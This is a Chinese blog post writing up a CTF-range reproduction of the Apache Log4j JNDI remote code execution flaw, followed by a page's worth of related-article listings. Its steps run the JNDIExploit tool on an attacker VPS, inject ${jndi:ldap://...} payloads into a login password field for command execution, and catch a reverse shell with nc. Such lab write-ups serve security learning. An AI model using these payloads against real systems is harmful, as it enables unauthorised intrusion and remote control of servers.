掌控者-封神台-Apache Log4j任意代码执行复现

最新推荐文章于 2024-05-19 11:01:20 发布
最新推荐文章于 2024-05-19 11:01:20 发布
阅读量5.7k 收藏 5
点赞数 1
分类专栏： ctf 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43821278/article/details/124003110
版权
本文详细介绍了Apache Log4j任意代码执行漏洞的复现过程，包括使用JNDIExploit工具，针对靶场进行注入点分析，通过填写特定payload获取服务器回显，并最终实现远程shell的反弹。总结了漏洞利用的关键步骤。
摘要由CSDN通过智能技术生成

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

Apache Log4j任意代码执行复现

一、工具

JNDIExploit-1.2-SNAPSHOT.jar

二、靶场

在这里插入图片描述
看网页源码
在这里插入图片描述
猜测就是username和password为注入点

三、步骤

vps有java环境
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的IP
成功运行
在这里插入图片描述

向密码框填入${jndi:ldap://vps的IP:1389/Basic/Command/whoami} 登录

有回显

在这里插入图片描述

先在vps运行 nc -lvp 6666监听6666

向密码框填入${jndi:ldap://vps的IP:1389/Basic/ReverseShell/vps的IP/6666} 登录

成功回传shell

在这里插入图片描述

总结

😀

旧目难忘
关注
专栏目录
[ vulhub漏洞复现篇 ] Apche log4j远程代码执行漏洞(CVE-2021-44228)
qq_51577576的博客
08-20 1546
apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程，受影响地版本中纯在JNDI注入漏洞，导致日志在记录用户输入地数据时，触发了注入漏洞，该漏洞可导致远程代码执行，且利用条件低，影响范围广，小到网站，大到可联网的车都受影响，建议使用了相关版本的应用或者插件，尽快升级修补，做好相关方措施，避免造成不必要的损失 [ vulhub漏洞复现篇 ] Apche log4j远程代码执行漏洞(CVE-2021-44228)
Apache Log4j2远程代码执行漏洞复现
weixin_42345596的博客
12-10 8262
漏洞原理 log4j2版本 < log4j-2.15.0-rc2 可由JNDI注入实现远程代码执行。 影响版本 Log4j2.x<=2.14.1 漏洞复现 漏洞分析的可以参考逐日实验室的这篇：https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ 准备环境 把受影响的jar包拖进随手创建的一个java项目，这里部署jar包步骤就不写了，网上一搜傻瓜式教程都有。 攻击机环境搭建，这里我用的vps（师兄的，因为我的是Windows。）jdk版本最好&
Apache log4j远程代码执行漏洞复现
qq_46162550的博客
05-11 1821
Apache log4j远程代码执行漏洞复现（1） 漏洞原理：（2） 漏洞复现环境：（3） 漏洞复现过程： （1） 漏洞原理： Apache Log4j2 中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即当log4j打印的日志内容中包含${jndi:ldap://my-ip}时，lookup会将jndi注入可执行语句执行，程序会通过ldap协议访问my-ip这个地址，然后my-ip就会返回一个包含java代码的class文件的地址，然后程序再通过返回的地址下载class文件并执行，从而达成漏
封神台Apache Log4j任意代码执行复现踩坑到复现成功版
最新发布
JACKBREAK的博客
05-19 923
log4j是Apache的一个开源项目，是一个基于Java的日志记录框架。Log4j2是log4j的后继者，被大量用于业务系统开发，记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后，凡是在可触发错误记录日志的地方，插入漏洞利用代码，即可利用成功。特殊情况下，若该组件记录的日志包含其他系统的记录日志，则有可能造成间接投毒。通过中间系统，使得组件间接读取了具有攻击性的漏洞利用代码，亦可间接造成漏洞触发。
Apache Log4j任意代码执行复现
cainsoftware的博客
07-20 574
这里会报错提示Exceptioninthread"LDAPListenerclientconnectionreader的错误。这里主要说明因为java版本使用java1.8.02导致复现失败，遇到的问题。这里下载对应服务器版本的8u201的版本。然后就可以正常使用了。...
Apache Log4j2(CVE-2021-4101)远程代码执行漏洞复现
今天是几号的博客
04-12 3024
Apache log4j是Apache的一个开源项目，Java的日志记录工具(同logback)。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。 影响范围 Apache Log4j 2.x
分析并复现Apache核弹级漏洞，利用Log4j2使目标服务器执行任意代码
我就说我500的博客
12-11 6629
12月9日晚间，ApacheLog4j2被曝光存在严重漏洞，可以随意执行任意远程代码，本贴将详细分析事故原因及实战复现此漏洞！ 一.事件详情 1.事件经过 2021年12月9日，国内多家机构监测到Apache log4j存在任意代码执行漏洞，并紧急通报相关情况。由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。 该漏洞CVSS评分达到了满分10分，影响全球一大半的互联网企业，包括百度、苹果等企业都被爆出存在该漏洞，众多媒体将这个漏洞形容成“史诗级”“核.
《漏洞研究》Apache Log4j2 远程代码执行漏洞
1
11-04 1737
Apache Log4j2 组件存在远程代码执行漏洞(CVE-2021-44228)，该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。
《漏洞研究》Apache Log4j2 远程代码执行漏洞_apache log4j2远程代码执行漏洞
2301_76225520的博客
04-18 1083
以及 LDAP即轻量级目录访问协议都是名称服务，不同的是 LDAP是一个协议，是和 HTTP 一样是通用的，而不止局限于 JAVA.比如用户对象可以有用户名、密码、邮件地址、角色等属性，计算机对象可以有IP地址、MAC地址、操作系统版本等属性。四个系列：< v1.14.2, < v1.13.5, < v1.12.7, < v1.11.6。而用户可以通过目录服务，针对打印机需求，根据分辨率等属性进行搜索获取符合条件的打印机对象。在名称服务中根据打印机名称获取打印机对象，并进行打印操作。
Apache Log4j2 远程代码执行漏洞复现
renyizou的博客
03-06 5080
靶场： Vulfocus 靶场环境 目前 Vulfocus 已经集成 Log4j2 环境，可通过以下链接启动环境测试：http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c 也可通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行。 漏洞复现： 我是本地复现： 环境: *服务器地址：kali ip（192.168.30.1
【漏洞复现】Apache Log4j2 远程代码执行漏洞
做自己喜欢的事，并将其发挥到极致！
07-20 945
ApacheLog4j2是一个·基于Java的日志记录工具，该工具重写了Log4j框架，并且引入大量丰富的特性，该日志框架被大量用于业务系统开发，用来记录日志信息。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。......
Apache Log4j2漏洞复现
weixin_51151498的博客
01-23 1461
Apache Log4j2漏洞
【漏洞复现】2.Apache Log4j2远程代码执行漏洞(CVE-2021-44228)复现及分析
Zichel77的博客
03-21 1662
Apache 是当今世界上非常流行的跨平台Web服务端，有着良好的扩充性。而Log4j则是Apache的开源组件，用于日志管理，功能强大。Log4j来源于 Apache 软件基金会的日志服务项目，是一种Java日志框架，从最初Log4j1发展到现在的Log4j2，已经广泛应用于各行各业的业务开发。2021年11月24日，阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2528
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
【漏洞复现】Apache log4j RCE 远程代码执行漏洞(CVE-2021-44228)
qq_45244158的博客
12-14 5778
Log4j任意代码执行RCE（CVE-2021-44228）前言一、漏洞描述二、受影响的版本三、复现过程1.从Vulfocus靶场获取测试环境2.攻击过程四、修复建议1.升级到最新版本2.缓解措施3.流量查询 前言 2021年11月24日，阿里云安全团队正式向Apache报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2的部分功能具有递归分析功能，攻击者可以直接构造恶意请求触发远程代码执行漏洞。 一、漏洞描述 Apache Log4j2 是一个基于 Java 的日志工具。这
Log4j远程代码执行漏洞环境搭建及复现
m0_71263989的博客
02-20 1519
Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本，相比于 Log4j，Log4j2 在性能、可靠性和灵活性方面都有显著的改进。
掌控者-封神台靶场-萌新也能找到CMS漏洞
为了低调的博客
09-15 656
这个靶场压根没有flag有的话也是错误的，因为你可以看到通关的人数，从始至终都是那一个人a通关了，在这个靶场我们可以有挺多漏洞，所以只要你发现漏洞了你就可以给你自己一个大拇指赞一下了那个flag压根找不到。由于自己懒一点这里就不写教程了都是一些很简单的漏洞大家可以尝试一下！
封神台-掌控者新靶场 - Kali系列4题
热门推荐
weixin_43821278的博客
03-11 1万+
新靶场 - Kali系列【4题】 Kali渗透 - Sqlmap实操靶场
2019网络空间竞赛 Misc writeup 封神台 - 掌控安全在线靶场
Senimo
10-29 2057
2019网络空间竞赛 Misc writeup 封神台 - 掌控安全在线靶场编码编码与密码拥有渗透测试思维 编码 Rank: 5 Tips: key形式为flag{} flag和括号都要提交。 %e7%ac%ac%e4%b8%80%e5%85%b3%e7%9a%84key%e6%98%afflag%7bwelcome%7d 判断给出的为URL编码，在线URL解码得到：第一关的key是flag{we...
Log4j用户指南：详细配置与组件详解
Log4j用户手册是一份详细的指南，涵盖了Apache开源项目Log4j的使用和配置。该手册由陈华编著，发布于2009年2月17日，适用于Log4j 1.2版本。Log4j的核心功能是提供了一种结构化的日志管理方案，使得开发者能够更好地...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值